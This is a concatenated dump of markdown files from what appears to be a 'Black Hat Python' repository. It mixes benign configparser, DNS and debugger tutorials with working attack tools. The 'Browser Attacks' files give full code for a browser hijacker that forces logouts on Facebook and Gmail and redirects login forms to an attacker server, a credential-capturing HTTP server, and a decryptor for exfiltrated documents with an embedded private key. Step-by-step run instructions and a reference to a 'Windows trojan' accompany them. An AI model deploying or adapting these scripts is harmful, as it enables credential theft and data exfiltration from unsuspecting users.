135 | ✅ **CPU-intensive loops simulate high processing load**. 136 | ✅ **The script terminates when the time limit is exceeded**. 137 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/read_config_file.md: -------------------------------------------------------------------------------- 1 | This Python script **reads a configuration file** (`read_simple.ini`) using the `configparser` module and **retrieves a specific value**. 2 | 3 | --- 4 | 5 | ## **Breakdown of the Code** 6 | ### **1. Import ConfigParser** 7 | ```python 8 | from configparser import ConfigParser 9 | ``` 10 | - `ConfigParser` is a **built-in Python module** used for handling **INI configuration files**. 11 | 12 | --- 13 | 14 | ### **2. Create a ConfigParser Object** 15 | ```python 16 | p = ConfigParser() 17 | ``` 18 | - This **initializes a parser object** that can read **INI files**. 19 | 20 | --- 21 | 22 | ### **3. Read the INI File** 23 | ```python 24 | p.read('read_simple.ini') 25 | ``` 26 | - **Loads** the configuration file named **`read_simple.ini`**. 27 | - The file must be **in the same directory** as the script or provide a full path. 28 | 29 | --- 30 | 31 | ### **4. Retrieve a Configuration Value** 32 | ```python 33 | print(p.get('bug_tracker', 'url')) 34 | ``` 35 | - **Reads the value** associated with the `url` key **inside** the `[bug_tracker]` section. 36 | - If `read_simple.ini` contains: 37 | ```ini 38 | [bug_tracker] 39 | url = https://bugs.example.com 40 | ``` 41 | The output would be: 42 | ``` 43 | https://bugs.example.com 44 | ``` 45 | 46 | --- 47 | 48 | ## **How to Run the Script** 49 | 1. **Create a configuration file** (`read_simple.ini`) with this content: 50 | ```ini 51 | [bug_tracker] 52 | url = https://bugs.example.com 53 | ``` 54 | 2. **Save the Python script** as `config_reader.py`. 55 | 3. **Run the script**: 56 | ```sh 57 | python config_reader.py 58 | ``` 59 | 4. **Expected Output**: 60 | ``` 61 | https://bugs.example.com 62 | ``` 63 | 64 | --- 65 | 66 | ## **Handling Missing Files or Keys** 67 | ### **Checking If File Exists** 68 | ```python 69 | import os 70 | from configparser import ConfigParser 71 | 72 | config_file = 'read_simple.ini' 73 | 74 | if not os.path.exists(config_file): 75 | print(f"Error: Configuration file '{config_file}' not found.") 76 | exit(1) 77 | 78 | p = ConfigParser() 79 | p.read(config_file) 80 | 81 | try: 82 | url = p.get('bug_tracker', 'url') 83 | print("Bug Tracker URL:", url) 84 | except Exception as e: 85 | print("Error:", e) 86 | ``` 87 | ✅ **Checks if `read_simple.ini` exists**. 88 | ✅ **Handles missing `[bug_tracker]` section or `url` key gracefully**. 89 | 90 | --- 91 | 92 | ## **Key Takeaways** 93 | ✅ **`ConfigParser()` reads and manages INI files**. 94 | ✅ **Use `p.get(section, key)` to fetch values**. 95 | ✅ **Check for missing files and handle errors** properly. 96 | -------------------------------------------------------------------------------- /Python Tools/Automating Regular Administrative Activities/read_many_config_file.md: -------------------------------------------------------------------------------- 1 | This Python script **reads multiple INI configuration files** using the `configparser` module and **identifies which files were found and which were missing**. 2 | 3 | ```python 4 | from configparser import ConfigParser 5 | import glob 6 | p = ConfigParser() 7 | files = ['hello.ini', 'bye.ini', 'read_simple.ini', 'welcome.ini'] 8 | files_found = p.read(files) 9 | files_missing = set(files) - set(files_found) 10 | print('Files found: ', sorted(files_found)) 11 | print('Files missing: ', sorted(files_missing)) 12 | ``` 13 | 14 | 15 | ## **Breakdown of the Code** 16 | ### **1. Import Required Modules** 17 | ```python 18 | from configparser import ConfigParser 19 | import glob 20 | ``` 21 | - `ConfigParser` → Parses `.ini` configuration files. 22 | - `glob` → (Not used in this script but typically used for file pattern matching). 23 | 24 | --- 25 | 26 | ### **2. Initialize ConfigParser** 27 | ```python 28 | p = ConfigParser() 29 | ``` 30 | - Creates a **configuration parser object**. 31 | 32 | --- 33 | 34 | ### **3. Define a List of INI Files to Read** 35 | ```python 36 | files = ['hello.ini', 'bye.ini', 'read_simple.ini', 'welcome.ini'] 37 | ``` 38 | - This **list contains the names** of INI files the script will attempt to read. 39 | 40 | --- 41 | 42 | ### **4. Read the Configuration Files** 43 | ```python 44 | files_found = p.read(files) 45 | ``` 46 | - `p.read(files)` attempts to read the **existing files** from the given list. 47 | - **Returns a list** of files that **exist and were successfully read**. 48 | 49 | --- 50 | 51 | ### **5. Identify Missing Files** 52 | ```python 53 | files_missing = set(files) - set(files_found) 54 | ``` 55 | - Converts both lists into **sets** and subtracts them to determine **which files are missing**. 56 | 57 | --- 58 | 59 | ### **6. Print the Results** 60 | ```python 61 | print('Files found: ', sorted(files_found)) 62 | print('Files missing: ', sorted(files_missing)) 63 | ``` 64 | - Displays which files **were found and successfully read**. 65 | - Lists **missing files**. 66 | 67 | --- 68 | 69 | ## **Example Scenario** 70 | ### ✅ **Existing Files in the Directory** 71 | ``` 72 | read_simple.ini 73 | welcome.ini 74 | ``` 75 | 76 | ### ✅ **Expected Output** 77 | ``` 78 | Files found: ['read_simple.ini', 'welcome.ini'] 79 | Files missing: ['bye.ini', 'hello.ini'] 80 | ``` 81 | 82 | --- 83 | 84 | ## **How to Run the Script** 85 | 1. **Create some INI files** in the same directory: 86 | - `read_simple.ini` 87 | - `welcome.ini` 88 | - (Leave `hello.ini` and `bye.ini` missing) 89 | 2. **Save the script** as `find_ini_files.py`. 90 | 3. **Run the script**: 91 | ```sh 92 | python find_ini_files.py 93 | ``` 94 | 95 | --- 96 | 97 | ## **Enhancements: Checking for INI Files Dynamically** 98 | Instead of manually listing files, **use `glob` to find all `.ini` files**: 99 | ```python 100 | import glob 101 | from configparser import ConfigParser 102 | 103 | p = ConfigParser() 104 | 105 | # Dynamically find all INI files in the current directory 106 | files = glob.glob("*.ini") 107 | 108 | files_found = p.read(files) 109 | files_missing = set(files) - set(files_found) 110 | 111 | print('Files found: ', sorted(files_found)) 112 | print('Files unreadable (corrupt or empty): ', sorted(files_missing)) 113 | ``` 114 | ✅ **Automatically detects all `.ini` files** in the directory. 115 | ✅ **Handles unreadable or corrupt INI files**. 116 | 117 | --- 118 | 119 | ## **Key Takeaways** 120 | ✅ **`p.read(files)` loads multiple INI files at once**. 121 | ✅ **Tracks missing files using `set()` operations**. 122 | ✅ **Dynamically finds `.ini` files using `glob.glob("*.ini")`**. 123 | -------------------------------------------------------------------------------- /Python Tools/Browser Attacks/Browser Hijacking and Login Redirect.md: -------------------------------------------------------------------------------- 1 | # Browser Hijacking and Login Redirect Script 2 | 3 | This script seems to attempt to hijack a user's browser session to capture login details, particularly targeting certain websites such as Facebook, Gmail, and Google Accounts. It interacts with Internet Explorer's COM interface to monitor browser activities and modifies login forms to redirect data to a malicious server. 4 | 5 | 6 | ```python 7 | import time 8 | import urllib.parse 9 | import win32com.client 10 | 11 | data_receiver = "http://localhost:8080/" 12 | 13 | target_sites = { 14 | "www.facebook.com": { 15 | "logout_url": None, 16 | "logout_form": "logout_form", 17 | "login_form_index": 0, 18 | "owned": False 19 | }, 20 | "accounts.google.com": { 21 | "logout_url": "https://accounts.google.com/Logout?hl=en&continue=" 22 | "https://accounts.google.com/" 23 | "ServiceLogin%3Fservice%3Dmail", 24 | "logout_form": None, 25 | "login_form_index": 0, 26 | "owned": False 27 | } 28 | } 29 | 30 | target_sites["www.gmail.com"] = target_sites["accounts.google.com"] 31 | target_sites["mail.google.com"] = target_sites["accounts.google.com"] 32 | 33 | clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' # internet explorer class ID 34 | 35 | windows = win32com.client.Dispatch(clsid) 36 | 37 | def wait_for_browser(browser): 38 | # wait for the browser to finish loading a page 39 | while browser.ReadyState != 4 and browser.ReadyState != "complete": 40 | time.sleep(0.1) 41 | return 42 | 43 | while True: 44 | for browser in windows: 45 | url = urllib.parse.urlparse(browser.LocationUrl) 46 | if url.hostname in target_sites: 47 | if target_sites[url.hostname]["owned"]: 48 | continue 49 | # if there's a url we can just redirect 50 | if target_sites[url.hostname]["logout_url"]: 51 | browser.Navigate(target_sites[url.hostname]["logout_url"]) 52 | wait_for_browser(browser) 53 | else: 54 | # retrieve all elements in the document 55 | full_doc = browser.Document.all 56 | # iterate looking for the logout form 57 | for obj in full_doc: 58 | try: 59 | # find the logout form and submit it 60 | if obj.id == target_sites[url.hostname]["logout_form"]: 61 | obj.submit() 62 | wait_for_browser(browser) 63 | except: 64 | pass 65 | 66 | try: 67 | # now modify the login form 68 | login_index = target_sites[url.hostname]["login_form_index"] 69 | login_page = urllib.parse.quote(browser.LocationUrl) 70 | browser.Document.forms[login_index].action = f"{data_receiver}{login_page}" 71 | target_sites[url.hostname]["owned"] = True 72 | except: 73 | pass 74 | time.sleep(5) 75 | ``` 76 | 77 | #### Key Components of the Code: 78 | 79 | 1. **Libraries Used**: 80 | - **`time`**: Used to pause the script for a short period, allowing pages to load before performing actions. 81 | - **`urllib.parse`**: Provides functions for parsing and manipulating URLs. 82 | - **`win32com.client`**: A library that allows interaction with COM objects, specifically used here to control Internet Explorer's COM interface. 83 | 84 | 2. **Global Variables**: 85 | - **`data_receiver`**: The server that receives the hijacked login data (usually a malicious server on `localhost` in this case). 86 | - **`target_sites`**: A dictionary of websites (Facebook, Google, Gmail) that the script targets. Each site has attributes like: 87 | - `logout_url`: The URL to redirect to in order to log the user out. 88 | - `logout_form`: The ID of a form element to submit to log out the user. 89 | - `login_form_index`: The index of the login form on the page. 90 | - `owned`: A flag indicating whether the site has been hijacked. 91 | 92 | 3. **COM Object (`windows`)**: 93 | - The script interacts with Internet Explorer (via the `clsid` for the browser) to control it. It uses `win32com.client.Dispatch(clsid)` to interface with Internet Explorer. 94 | 95 | 4. **Functions**: 96 | - **`wait_for_browser(browser)`**: This function waits for the browser to finish loading a page (indicated by `ReadyState`). 97 | - **Main Loop**: The `while True` loop checks the current browser window for target URLs, performs the hijacking actions, and redirects or modifies the login form as needed. 98 | 99 | #### Workflow: 100 | 101 | 1. **Monitoring Browsers**: 102 | - The script fetches all open instances of Internet Explorer and checks the current URL (`browser.LocationUrl`). 103 | 104 | 2. **Target Sites**: 105 | - The script identifies if the current URL belongs to one of the target sites (Facebook, Google, Gmail). 106 | 107 | 3. **Logout Process**: 108 | - If the site has a logout URL defined (like for Google), it navigates the browser to that logout URL to log the user out. If a logout form is provided, it submits the form. 109 | 110 | 4. **Login Form Modification**: 111 | - After logging the user out (or if no logout option exists), the script attempts to modify the login form on the page. Specifically, it changes the form's `action` attribute to send the data to the `data_receiver` (malicious server). This allows the attacker to capture login credentials. 112 | 113 | 5. **Ownership Flag**: 114 | - Once the login form has been hijacked, the `owned` flag for that site is set to `True`, so the script doesn't attempt to hijack the form again for that site. 115 | 116 | 6. **Looping**: 117 | - The script runs in a loop, checking browsers every 5 seconds (`time.sleep(5)`), allowing it to continuously monitor and hijack sessions. 118 | 119 | #### How to Run: 120 | 121 | To run this script: 122 | 123 | 1. **Set Up a Malicious Server**: Ensure that you have a server running on `localhost:8080` (the `data_receiver` address) to receive the redirected login data. 124 | 125 | 2. **Dependencies**: 126 | - Make sure you have the necessary dependencies installed: 127 | - `pywin32` library to interact with Windows COM objects (`win32com.client`). 128 | - You can install it via `pip`: 129 | ```bash 130 | pip install pywin32 131 | ``` 132 | 133 | 3. **Run the Script**: 134 | - Save the script to a `.py` file (e.g., `browser_hijacker.py`). 135 | - Run the script using Python: 136 | ```bash 137 | python browser_hijacker.py 138 | ``` 139 | 140 | ### Ethical Concerns: 141 | This script is illegal and unethical. It is an example of a **man-in-the-middle attack** targeting browsers and hijacking login sessions. This type of activity violates privacy and can cause severe damage. Do not use this code for malicious purposes. It is important to respect user privacy and security and to follow ethical practices in cybersecurity. 142 | -------------------------------------------------------------------------------- /Python Tools/Browser Attacks/README.md: -------------------------------------------------------------------------------- 1 | 2 | **Internet Explorer, you say? Even though other browsers like Google 3 | Chrome and Mozilla Firefox are more popular these days, most corporate 4 | environments still use Internet Explorer as their default browser. And of 5 | course, you can’t remove Internet Explorer from a Windows system—so this 6 | technique should always be available to your Windows trojan.** 7 | -------------------------------------------------------------------------------- /Python Tools/Browser Attacks/Simple HTTP Server for Capturing Credentials.md: -------------------------------------------------------------------------------- 1 | # Simple HTTP Server for Capturing Credentials 2 | 3 | This script is a simple HTTP server that listens on port `8080` and handles POST requests. When a POST request is made, it extracts the credentials from the request body, prints them to the console, and redirects the client to another URL 4 | 5 | ```python 6 | import http.server 7 | import socketserver 8 | import urllib.error 9 | import urllib.parse 10 | import urllib.request 11 | 12 | class CredRequestHandler(http.server.SimpleHTTPRequestHandler): 13 | def do_POST(self): 14 | content_length = int(self.headers["Content-Length"]) 15 | creds = self.rfile.read(content_length).decode('utf-8') 16 | print(creds) 17 | site = self.path[1:] 18 | self.send_response(301) 19 | self.send_header("Location", urllib.parse.unquote(site)) 20 | self.end_headers() 21 | 22 | server = socketserver.TCPServer(("0.0.0.0", 8080), CredRequestHandler) 23 | server.serve_forever() 24 | ``` 25 | 26 | #### Key Components of the Code: 27 | 28 | 1. **Libraries Used**: 29 | - **`http.server`**: Provides basic HTTP server functionality, particularly for handling HTTP requests like GET and POST. 30 | - **`socketserver`**: Helps in setting up the TCP server to listen for incoming requests. 31 | - **`urllib.parse`**: Used to manipulate and decode URLs. 32 | 33 | 2. **Class: `CredRequestHandler`**: 34 | This is a subclass of `http.server.SimpleHTTPRequestHandler`, which is responsible for handling HTTP requests. Specifically: 35 | - **`do_POST(self)`**: This method handles POST requests. Here's the breakdown of the process: 36 | - **`content_length`**: Extracts the length of the incoming request's body (in bytes). 37 | - **`creds`**: Reads the request body (which is expected to contain the credentials) and decodes it into a UTF-8 string. 38 | - **`site`**: Extracts the URL to redirect the client to from the path of the incoming request. This assumes the path contains the target URL encoded as part of the URL. 39 | - **Response**: After processing the credentials, it sends an HTTP redirect (`301`) to the target URL extracted from the request path. 40 | 41 | 3. **Server Setup**: 42 | - **`server = socketserver.TCPServer(("0.0.0.0", 8080), CredRequestHandler)`**: This line sets up the HTTP server to listen on all network interfaces (`0.0.0.0`) on port `8080`. The `CredRequestHandler` will handle the requests. 43 | - **`server.serve_forever()`**: This starts the server, which will continuously listen for incoming requests. 44 | 45 | #### Workflow: 46 | 47 | 1. **Listening for POST Requests**: 48 | - The server listens on port `8080` for incoming HTTP requests. When a POST request is received, it processes the request using the `do_POST()` method. 49 | 50 | 2. **Processing the Request**: 51 | - The server reads the credentials from the body of the POST request and prints them to the console (`print(creds)`). 52 | 53 | 3. **Redirecting**: 54 | - After printing the credentials, the server performs an HTTP 301 redirect to the URL extracted from the request's path. The URL is decoded using `urllib.parse.unquote()` to ensure that any percent-encoded characters in the URL are properly decoded. 55 | 56 | #### How to Run: 57 | 58 | To run this server, you need to have Python installed. 59 | 60 | 1. **Save the Script**: 61 | - Save the script to a `.py` file (e.g., `cred_server.py`). 62 | 63 | 2. **Run the Server**: 64 | - Open a terminal or command prompt and run the script using Python: 65 | ```bash 66 | python cred_server.py 67 | ``` 68 | 69 | 3. **Listening**: 70 | - The server will now listen for POST requests on port `8080` and print any credentials it receives in the POST body to the console. Afterward, it will redirect the request to the URL contained in the path of the POST request. 71 | 72 | #### Ethical Concerns: 73 | This script is designed for malicious use as it intercepts and captures credentials, which is illegal and unethical. It's essential to understand that using such a server to capture login details or other sensitive information without consent violates privacy laws and cybersecurity ethics. 74 | 75 | **Please do not use this script for any unauthorized or malicious purposes.** 76 | -------------------------------------------------------------------------------- /Python Tools/Browser Attacks/decrypts and decompresses the encrypted data.md: -------------------------------------------------------------------------------- 1 | Decrypts and decompresses the encrypted data that was likely posted to Tumblr in the https://github.com/aw-junaid/Black-Hat-Python/blob/main/Python%20Tools/Browser%20Attacks/Document%20Exfiltration%20Using%20Tumblr.md script: 2 | 3 | 4 | ```python 5 | import zlib 6 | import base64 7 | from Crypto.PublicKey import RSA 8 | from Crypto.Cipher import PKCS1_OAEP 9 | 10 | # paste here the encrypted code you got from ie_exfil.py (and that should have been posted to Tumblr as well) 11 | encrypted = b'jyBM2jcAyS7asGBjoZGYl/YlutS1HBs3s/JPFMPtTa5UOjseCdC9loraG5CkK43z90qSr+Jcp+4xtAl1bhBcZgEUifO82m/4+6z6cfd7X9DEHjwiAorb51rQ2+iOwrwwgcmEqXK/enTJ1DPdD8O/f8UB0z1Cvl2LEwrmZe0RTdCR8UILZhy39BWLPVFm7Chgg96Yp2rYQgpU8ObtwChDlst58B1oltZKn8LVbkapy5MO6214R0HlOHhJglbK3Ok+sINqdDAQRdZ9rOIbe1hVthJmqneZyR2PdTbtmTir3Q+3SkskYuayFwL7dTW1VJEfKBrbaYQU14A1rECrkFAxXQ==' 12 | 13 | # private key is from keygen.py 14 | private_key = b"""-----BEGIN RSA PRIVATE KEY----- 15 | MIIEowIBAAKCAQEAuO+ZrmxOCIYrdmbS3io0MQ3dL3/r5AVZdXr5RfwnVXoGvoX7 16 | ABhJjovpIJvAR19U8PuADbE+WpjCZsP0yH//Bzi5zcn1dgkIpqHcD7UUb9x8k9Lh 17 | MyD6neqwXe6VmxdJXl9NWYTmzQDdOLw4ms0B9yYLKtWURAwP4Yo+0ZmOdCkBBKBL 18 | yv1G6ndw8oeeTBNsPa6QsrNZPfL3r6CkkBh9eb1jnlUt6I+2qjqsX+N5ccHEPMXY 19 | FSMJVXiZecELlwILLxMU++R/717wzxYc1h66AStJTXvL6LiTOvtTCUPyJk2S9EVj 20 | HfCjBLYR1Rq0rnouxafllr98u/U+ZOQQ4luVDQIDAQABAoIBADDdWlGMm3fEH9LK 21 | q3f5Vc4KWEG3PriCs1cH1bqovCnpMsP/uckWIcVw8XnkvYL+TP7ZrUWw6gVdLKyj 22 | pVee/l9FnU6jSODV1TvWM8PQuGQwMZiLlWaBlcbJHq3LHyuaFRBDBTiclbFgQ5O8 23 | pAY/GgBYRIYeZe0u9LlG4n9WYB4PzdlLrnPAg4d+1gdiXClR0irlBNz9gOQGHjb7 24 | w8pbOLDNKrnii6tSm4tXWTLE0VGIRu9ex/C/tFuFbOXr6IJw05w1ylfLCO0dDBZC 25 | 0ArqSVrlV4hfwUHvmowyysgxQYlsL+r1+RmdxX3feVrGUWwWbmm8eaufg3lpl5Gl 26 | qSw0Yy8CgYEAwpJj9a3GqFuhb/xWQi2otnU3zEss3FEN8eS01+BajESg/DwpfkvY 27 | sci8kQqUqKCltKOMXuWknhWs3T9GjQDhZ9fPyhut/U8mIPdHMlux3uCAmZxbdHh3 28 | +cRF6gUBBKm79dogaJFszRwfwIFzvYfvQYGK6R+GOs+UKawI0ZIv+7sCgYEA81Jr 29 | xA+GNcWRGNsppGK/MOt2GR8h0EKSoVJn1G5pwaIvtfcB/tbgeWX/3n89xNgnD3ab 30 | BK7aL73uwFr1/X2xUR8UTVQj5uDqUMI7rJ7Ngc9TFG50mybiKYKxbwimz0JH/INi 31 | DmMbqVOVeqLFe7WAjHm2eIVPSJtMMwwOGR8rUdcCgYBzGENW/a+IwYMyijLAPOAS 32 | 5i3WhBWKUcwM7bvoAwes95++9RuaYOVS7SpWJcsgIL9EpoYPUIpbFPlHevmRyRaM 33 | 5cU9ibgXIm2sjHmqGUGTVHvd4fbbY7OcpHSy5LjgeEL+QERxdqzEe8Fwj2LWl4V4 34 | 21c/ZW1ydn3vVJt21KHbpwKBgQDxdzCkz7cjc52LaisIDEqp9HEtevymXPqAh3Os 35 | l6nx086/KJJdYMZBExz5o5Ib31nb+Zra6d5ylGzzjREi73JhC5OtLbu3Kiq93BM2 36 | Oh29HY7X7slfExZLlXwZsR9A/QjNKWDM4EOaJO1pV1DddIBOZ5bSQZEtf5f97I+t 37 | FIZ73wKBgEcWcS/ZFDct/LDTYpjS2AER8r20buDewRlUXF4R5xrQRQGRugj5vpUg 38 | PL93p45a6J5mxq6Ove73aXeDW9q+SxShKfC01agFYWoZybEawqeinM1SecLxMIKO 39 | mjn+BsAxbuxAvsbLXqErzulOmy4Oql8ewWvJmIv6u03+7/Xrv1Hk 40 | -----END RSA PRIVATE KEY-----""" 41 | 42 | rsakey = RSA.importKey(private_key) 43 | rsakey = PKCS1_OAEP.new(rsakey) 44 | 45 | chunk_size = 256 46 | offset = 0 47 | decrypted = "" 48 | encrypted = base64.b64decode(encrypted) 49 | 50 | while offset < len(encrypted): 51 | decrypted += str(rsakey.decrypt(encrypted[offset:offset + chunk_size])) 52 | offset += chunk_size 53 | 54 | # now decompress to original 55 | plaintext = zlib.decompress(decrypted) 56 | 57 | print(plaintext) 58 | 59 | ``` 60 | 61 | ### Explanation: 62 | 63 | 1. **Imports**: 64 | - `zlib`: A compression module used to decompress data. 65 | - `base64`: A module to encode/decode data in base64 format. 66 | - `RSA` and `PKCS1_OAEP`: These are part of the `pycryptodome` library, used for RSA encryption/decryption. 67 | 68 | 2. **Encrypted Data**: 69 | - The `encrypted` variable contains the encrypted data that was posted to Tumblr. It is base64-encoded. 70 | 71 | 3. **Private Key**: 72 | - The `private_key` variable holds the private key used for RSA decryption. This key was generated earlier with the `keygen.py` script. 73 | 74 | 4. **RSA Decryption**: 75 | - The private key is loaded using `RSA.importKey(private_key)`, and `PKCS1_OAEP.new(rsakey)` initializes the decryption scheme. 76 | - The encrypted data is decrypted in chunks of 256 bytes using the RSA decryption scheme. 77 | - After decryption, the decrypted data is stored in the `decrypted` variable. 78 | 79 | 5. **Base64 Decoding**: 80 | - The encrypted data is base64-decoded using `base64.b64decode(encrypted)` before being processed by the RSA decryption. 81 | 82 | 6. **Decompression**: 83 | - After decryption, the data is decompressed using `zlib.decompress(decrypted)` to retrieve the original plaintext. 84 | 85 | ### What It Does: 86 | - This script effectively reverses the process of encryption and compression done in `ie_exfil.py`. It decrypts the data with the private key and decompresses it to retrieve the original file contents. 87 | 88 | ### Example Output: 89 | 90 | After running this script, you should get the original plaintext (the document or data that was exfiltrated) printed out. 91 | 92 | ### Security Considerations: 93 | - The private key should be kept secure at all costs since it's used to decrypt sensitive data. 94 | - Make sure that any key management follows best practices to prevent unauthorized access. 95 | -------------------------------------------------------------------------------- /Python Tools/Browser Attacks/generates a new RSA key pair with a 2048-bit key length.md: -------------------------------------------------------------------------------- 1 | The script you've provided generates a new RSA key pair with a 2048-bit key length, then exports the public and private keys in PEM format and prints them. 2 | 3 | ```python 4 | from Crypto.PublicKey import RSA 5 | 6 | new_key = RSA.generate(2048) 7 | 8 | public_key = new_key.public_key().exportKey("PEM") 9 | private_key = new_key.exportKey("PEM") 10 | 11 | print(f"Public Key: {public_key}") 12 | print() 13 | print(f"Private Key: {private_key}") 14 | ``` 15 | 16 | 17 | ### Explanation: 18 | 19 | 1. **`from Crypto.PublicKey import RSA`**: 20 | - This imports the RSA module from the `pycryptodome` library, which is used for generating RSA keys, encrypting, and decrypting data. 21 | 22 | 2. **`new_key = RSA.generate(2048)`**: 23 | - This generates a new RSA key pair with a key size of 2048 bits. The key pair will consist of a public key and a private key, which are mathematically related. 24 | 25 | 3. **`public_key = new_key.public_key().exportKey("PEM")`**: 26 | - This extracts the public key from the generated RSA key pair and exports it in PEM format. PEM (Privacy-Enhanced Mail) is a base64-encoded format commonly used for storing cryptographic keys and certificates. 27 | 28 | 4. **`private_key = new_key.exportKey("PEM")`**: 29 | - This exports the private key in PEM format. It's important to store the private key securely because it can be used to decrypt data encrypted with the public key. 30 | 31 | 5. **`print(f"Public Key: {public_key}")`**: 32 | - This prints the generated public key to the console in PEM format. 33 | 34 | 6. **`print(f"Private Key: {private_key}")`**: 35 | - This prints the generated private key to the console in PEM format. 36 | 37 | ### Example Output: 38 | 39 | ```text 40 | Public Key: -----BEGIN PUBLIC KEY----- 41 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... (truncated) 42 | 43 | Private Key: -----BEGIN RSA PRIVATE KEY----- 44 | MIIEpAIBAAKCAQEA... (truncated) 45 | ``` 46 | 47 | ### How to Run: 48 | 1. Make sure you have `pycryptodome` installed: 49 | ```bash 50 | pip install pycryptodome 51 | ``` 52 | 2. Save the code to a `.py` file (e.g., `generate_rsa_keys.py`). 53 | 3. Run the file: 54 | ```bash 55 | python generate_rsa_keys.py 56 | ``` 57 | 58 | ### Security Considerations: 59 | - **Private Key**: The private key must be kept secret. If someone gains access to it, they can decrypt any data encrypted with the corresponding public key. 60 | - **Public Key**: The public key can be shared freely and used by others to encrypt data that only the private key can decrypt. 61 | -------------------------------------------------------------------------------- /Python Tools/DNS/check_domains.md: -------------------------------------------------------------------------------- 1 | 2 | ```python 3 | #!/usr/bin/env python 4 | 5 | # Import necessary modules 6 | import argparse # For parsing command-line arguments 7 | import dns.name # For handling DNS domain names 8 | 9 | # Define the main function that takes two domain names as arguments 10 | def main(domain1, domain2): 11 | # Convert the input domain strings into dns.name.Name objects 12 | domain1 = dns.name.from_text(domain1) 13 | domain2 = dns.name.from_text(domain2) 14 | 15 | # Check if domain1 is a subdomain of domain2 and print the result 16 | print("domain1 is subdomain of domain2: ", domain1.is_subdomain(domain2)) 17 | 18 | # Check if domain1 is a superdomain of domain2 and print the result 19 | print("domain1 is superdomain of domain2: ", domain1.is_superdomain(domain2)) 20 | 21 | # Entry point of the script 22 | if __name__ == '__main__': 23 | # Set up argument parsing 24 | parser = argparse.ArgumentParser(description='Check 2 domains with dns Python') 25 | 26 | # Define the first command-line argument: --domain1 27 | parser.add_argument('--domain1', action="store", dest="domain1", default='python.org') 28 | 29 | # Define the second command-line argument: --domain2 30 | parser.add_argument('--domain2', action="store", dest="domain2", default='docs.python.org') 31 | 32 | # Parse the command-line arguments 33 | given_args = parser.parse_args() 34 | 35 | # Extract the values of domain1 and domain2 from the parsed arguments 36 | domain1 = given_args.domain1 37 | domain2 = given_args.domain2 38 | 39 | # Call the main function with the extracted domain names 40 | main(domain1, domain2) 41 | ``` 42 | 43 | ### Explanation: 44 | 45 | 1. **Shebang Line (`#!/usr/bin/env python`)**: 46 | - This line specifies that the script should be executed using the Python interpreter found in the user's environment. 47 | 48 | 2. **Imports**: 49 | - `argparse`: This module is used to handle command-line arguments. 50 | - `dns.name`: This module from the `dnspython` library is used to manipulate and compare DNS domain names. 51 | 52 | 3. **`main` Function**: 53 | - This function takes two domain names as input. 54 | - It converts these domain names from strings into `dns.name.Name` objects using `dns.name.from_text()`. 55 | - It then checks if `domain1` is a subdomain of `domain2` using the `is_subdomain()` method and prints the result. 56 | - Similarly, it checks if `domain1` is a superdomain of `domain2` using the `is_superdomain()` method and prints the result. 57 | 58 | 4. **Argument Parsing**: 59 | - The script uses `argparse.ArgumentParser` to define and parse command-line arguments. 60 | - Two arguments are defined: `--domain1` and `--domain2`, both of which store their values and have default values (`'python.org'` and `'docs.python.org'`, respectively). 61 | 62 | 5. **Execution**: 63 | - The script checks if it is being run as the main program (`if __name__ == '__main__':`). 64 | - It parses the command-line arguments and extracts the values of `domain1` and `domain2`. 65 | - Finally, it calls the `main` function with these domain names. 66 | 67 | ### Example Usage: 68 | 69 | If you run the script without any arguments, it will use the default values: 70 | 71 | ```bash 72 | $ ./check_domains.py 73 | domain1 is subdomain of domain2: False 74 | domain1 is superdomain of domain2: True 75 | ``` 76 | 77 | You can also specify custom domains: 78 | 79 | ```bash 80 | $ ./check_domains.py --domain1 example.com --domain2 sub.example.com 81 | domain1 is subdomain of domain2: False 82 | domain1 is superdomain of domain2: True 83 | ``` 84 | 85 | This script is useful for checking the relationship between two domain names, specifically whether one is a subdomain or superdomain of the other. 86 | -------------------------------------------------------------------------------- /Python Tools/Extras/SVN_README.txt: -------------------------------------------------------------------------------- 1 | SVN Digger v1.0 - 11/04/2011 2 | ==================== 3 | You can use these lists for finding hidden resources on the web applications. 4 | More information : http://www.mavitunasecurity.com/blog/SVN-Digger-Better-Lists-for-Forced-Browsing/ 5 | 6 | They are licensed under GPL, feel free to share and use your own GPL-Compatible application. -------------------------------------------------------------------------------- /Python Tools/Forensics/Immunity Debugger.md: -------------------------------------------------------------------------------- 1 | This script is written for **Immunity Debugger** (a popular tool for reverse engineering and debugging) and uses Python to interact with the debugger and hook specific functions of a target program (`calc.exe` in this case). The script logs information about the execution flow and function calls of the target process. 2 | 3 | 4 | ```python 5 | import sys 6 | sys.path.append('C:/Program Files (x86)/Immunity Inc/Immunity Debugger') 7 | sys.path.append('C:/Program Files (x86)/Immunity Inc/Immunity Debugger/Libs') 8 | 9 | from immlib import * 10 | 11 | class CcHook(LogBpHook): 12 | def __init__(self): 13 | LogBpHook.__init__(self) 14 | self.imm = Debugger() 15 | 16 | def run(self, regs): 17 | self.imm.log("%08x" % regs['EIP'], regs['EIP']) 18 | self.imm.deleteBreakpoint(regs["EIP"]) 19 | return 20 | 21 | def main(args): 22 | imm = Debugger() 23 | 24 | calc = imm.getModule("calc.exe") 25 | imm.analyseCode(calc.getCodebase()) 26 | 27 | functions = imm.getAllFunctions(calc.getCodebase()) 28 | 29 | hooker = CcHook() 30 | 31 | for function in functions: 32 | hooker.add("%08x" % function, function) 33 | 34 | return f"Tracking {len(functions)} functions" 35 | ``` 36 | 37 | 38 | 39 | ### Key Components: 40 | 41 | 1. **Imports**: 42 | - **Immunity Debugger Libraries**: 43 | - The script imports modules from **Immunity Debugger**, specifically `immlib` for interacting with the debugger. 44 | 45 | 2. **Class: `CcHook`**: 46 | - This class is designed to hook and log the address of function calls in the target process. 47 | - It inherits from `LogBpHook`, which is a helper class in Immunity Debugger for setting breakpoints and logging the execution. 48 | - The `run` method logs the current instruction pointer (`EIP` register) whenever a breakpoint is hit, deletes the breakpoint, and continues execution. 49 | 50 | 3. **`main` Function**: 51 | - **Debugger Initialization**: 52 | - The script starts by initializing the **Debugger** object (`imm = Debugger()`). 53 | 54 | - **Analyzing `calc.exe`**: 55 | - It gets the base address of the `calc.exe` module and analyzes the code using `analyseCode()`. 56 | 57 | - **Getting Functions**: 58 | - The script retrieves all functions in the `calc.exe` module with `getAllFunctions()`. 59 | 60 | - **Setting Breakpoints**: 61 | - For each function in `calc.exe`, the script adds a breakpoint at the start of the function using the `CcHook` class to track the function calls. 62 | 63 | 